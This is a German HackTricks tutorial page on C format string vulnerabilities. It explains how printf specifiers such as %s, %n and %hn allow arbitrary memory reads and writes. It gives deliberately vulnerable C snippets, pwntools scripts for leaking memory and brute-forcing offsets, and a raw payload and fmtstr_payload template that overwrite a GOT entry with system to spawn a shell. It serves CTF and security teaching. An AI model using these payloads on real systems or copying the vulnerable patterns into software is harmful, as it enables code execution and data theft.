Format Strings
Reading time: 9 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
In C printf
ist eine Funktion, die verwendet werden kann, um einen String auszugeben. Der erste Parameter, den diese Funktion erwartet, ist der rohe Text mit den Formatierern. Die folgenden Parameter, die erwartet werden, sind die Werte, um die Formatierer aus dem rohen Text zu ersetzen.
Andere anfällige Funktionen sind sprintf()
und fprintf()
.
Die Verwundbarkeit tritt auf, wenn ein Angreifertext als erstes Argument an diese Funktion übergeben wird. Der Angreifer kann eine spezielle Eingabe erstellen, die die printf-Format-String-Fähigkeiten ausnutzt, um beliebige Daten an beliebiger Adresse (lesbar/schreibbar) zu lesen und zu schreiben. Dadurch ist es möglich, willkürlichen Code auszuführen.
Formatierer:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Beispiele:
- Verwundbares Beispiel:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Normaler Gebrauch:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Mit fehlenden Argumenten:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf anfällig:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
Zugriff auf Zeiger
Das Format %<n>$x
, wobei n
eine Zahl ist, ermöglicht es, printf anzuzeigen, den n-ten Parameter (vom Stack) auszuwählen. Wenn Sie also den 4. Parameter vom Stack mit printf lesen möchten, könnten Sie Folgendes tun:
printf("%x %x %x %x")
und Sie würden vom ersten bis zum vierten Parameter lesen.
Oder Sie könnten Folgendes tun:
printf("%4$x")
und direkt das vierte lesen.
Beachten Sie, dass der Angreifer den printf
Parameter kontrolliert, was im Grunde bedeutet, dass seine Eingabe im Stack sein wird, wenn printf
aufgerufen wird, was bedeutet, dass er spezifische Speicheradressen im Stack schreiben könnte.
caution
Ein Angreifer, der diese Eingabe kontrolliert, wird in der Lage sein, willkürliche Adressen im Stack hinzuzufügen und printf
dazu zu bringen, auf sie zuzugreifen. Im nächsten Abschnitt wird erklärt, wie man dieses Verhalten nutzt.
Willkürliches Lesen
Es ist möglich, den Formatter %n$s
zu verwenden, um printf
die Adresse an der n Position zu entnehmen, die ihm folgt, und sie so zu drucken, als wäre es eine Zeichenkette (drucken bis ein 0x00 gefunden wird). Wenn die Basisadresse des Binaries 0x8048000
ist und wir wissen, dass die Benutzereingabe an der 4. Position im Stack beginnt, ist es möglich, den Anfang des Binaries mit:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
caution
Beachten Sie, dass Sie die Adresse 0x8048000 nicht am Anfang der Eingabe setzen können, da der String am Ende dieser Adresse bei 0x00 abgeschnitten wird.
Offset finden
Um den Offset zu Ihrer Eingabe zu finden, könnten Sie 4 oder 8 Bytes (0x41414141
) senden, gefolgt von %1$x
und den Wert erhöhen, bis Sie die A's
erhalten.
Brute Force printf-Offset
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
Wie nützlich
Arbitrary Reads können nützlich sein, um:
- Den Binary aus dem Speicher zu dumpen
- Zugriff auf spezifische Teile des Speichers zu erhalten, wo sensible Infos gespeichert sind (wie Canaries, Verschlüsselungsschlüssel oder benutzerdefinierte Passwörter wie in dieser CTF-Herausforderung)
Arbitrary Write
Der Formatter %<num>$n
schreibt die Anzahl der geschriebenen Bytes in die angegebene Adresse im <num> Parameter im Stack. Wenn ein Angreifer so viele Zeichen schreiben kann, wie er möchte, wird er in der Lage sein, %<num>$n
eine beliebige Zahl an einer beliebigen Adresse schreiben zu lassen.
Glücklicherweise ist es nicht nötig, 9999 "A"s zur Eingabe hinzuzufügen, um die Zahl 9999 zu schreiben. Um dies zu tun, ist es möglich, den Formatter %.<num-write>%<num>$n
zu verwenden, um die Zahl <num-write>
in die Adresse zu schreiben, die durch die num
Position angezeigt wird.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Beachten Sie jedoch, dass normalerweise, um eine Adresse wie 0x08049724
(was eine RIESIGE Zahl ist, die man auf einmal schreiben muss) zu schreiben, $hn
anstelle von $n
verwendet wird. Dies ermöglicht es, nur 2 Bytes zu schreiben. Daher wird dieser Vorgang zweimal durchgeführt, einmal für die höchsten 2B der Adresse und ein weiteres Mal für die niedrigeren.
Daher ermöglicht diese Schwachstelle, alles an jede Adresse zu schreiben (willkürliches Schreiben).
In diesem Beispiel wird das Ziel sein, die Adresse einer Funktion in der GOT-Tabelle zu überschreiben, die später aufgerufen wird. Obwohl dies andere Techniken des willkürlichen Schreibens zur Ausführung missbrauchen könnte:
Wir werden eine Funktion überschreiben, die ihre Argumente vom Benutzer erhält und sie auf die system
Funktion zeigt.
Wie bereits erwähnt, sind normalerweise 2 Schritte erforderlich, um die Adresse zu schreiben: Zuerst schreibt man 2 Bytes der Adresse und dann die anderen 2. Dazu wird $hn
verwendet.
- HOB wird auf die 2 höheren Bytes der Adresse aufgerufen
- LOB wird auf die 2 niedrigeren Bytes der Adresse aufgerufen
Dann, aufgrund der Funktionsweise von Format-Strings, müssen Sie zuerst das kleinste von [HOB, LOB] schreiben und dann das andere.
Wenn HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Wenn HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
Pwntools-Vorlage
Sie finden eine Vorlage, um einen Exploit für diese Art von Schwachstelle vorzubereiten in:
Oder dieses grundlegende Beispiel von hier:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format-Strings zu BOF
Es ist möglich, die Schreibaktionen einer Format-String-Sicherheitsanfälligkeit auszunutzen, um in Adressen des Stacks zu schreiben und eine Buffer Overflow-Art von Sicherheitsanfälligkeit auszunutzen.
Weitere Beispiele & Referenzen
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 Bit, kein relro, kein canary, nx, kein pie, grundlegende Verwendung von Format-Strings, um das Flag vom Stack zu leaken (keine Notwendigkeit, den Ausführungsfluss zu ändern)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 Bit, relro, kein canary, nx, kein pie, Format-String, um die Adresse
fflush
mit der Win-Funktion (ret2win) zu überschreiben - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 Bit, relro, kein canary, nx, kein pie, Format-String, um eine Adresse innerhalb von main in
.fini_array
zu schreiben (damit der Fluss ein weiteres Mal zurückschleift) und die Adresse zusystem
in der GOT-Tabelle zu schreiben, die aufstrlen
zeigt. Wenn der Fluss zurück zu main geht, wirdstrlen
mit Benutzereingaben ausgeführt und zeigt aufsystem
, es werden die übergebenen Befehle ausgeführt.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.